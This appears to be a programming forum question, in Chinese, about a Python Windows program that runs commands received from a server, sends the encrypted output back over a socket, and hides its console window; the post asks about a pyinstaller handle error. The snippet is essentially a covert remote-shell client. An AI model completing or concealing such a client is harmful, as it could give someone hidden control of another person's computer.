我正在用python制作Windows程序,该程序将执行cmd命令,然后将输出发送到服务器而不显示控制台窗口,但出现错误“ [winerror 6]句柄无效”。
我正在使用subprocess.getoutput,它可以工作,但是当我使用带有--windowed或--noconsole标志的pyinstaller隐藏控制台窗口时,出现错误“ [winerror 6]句柄无效”。
我尝试使用subprocess.call和subprocess.Popen,但在输出时有些麻烦。
我还使用os.system执行命令,将输出写入文件([command]> file.txt),然后读取,但是它弹出了一些cmd窗口。
因此,比起我想尝试不在pyinstaller中而是在代码中隐藏窗口,但控制台窗口可见了一秒钟。
当我不使用pyinstaller隐藏控制台窗口时,这就是我当前的代码。
try:
command = data[1]
output = subprocess.getoutput(command)
output = EncryptData(output)
SendList = [UserName, output]
self.sock.sendall(pickle.dumps(SendList))
except Exception as e:
print(e)
os.system("echo " + str(e) + " > %"+"appdata%\\ERROR.txt")
#[winerror 6] the handle is invalid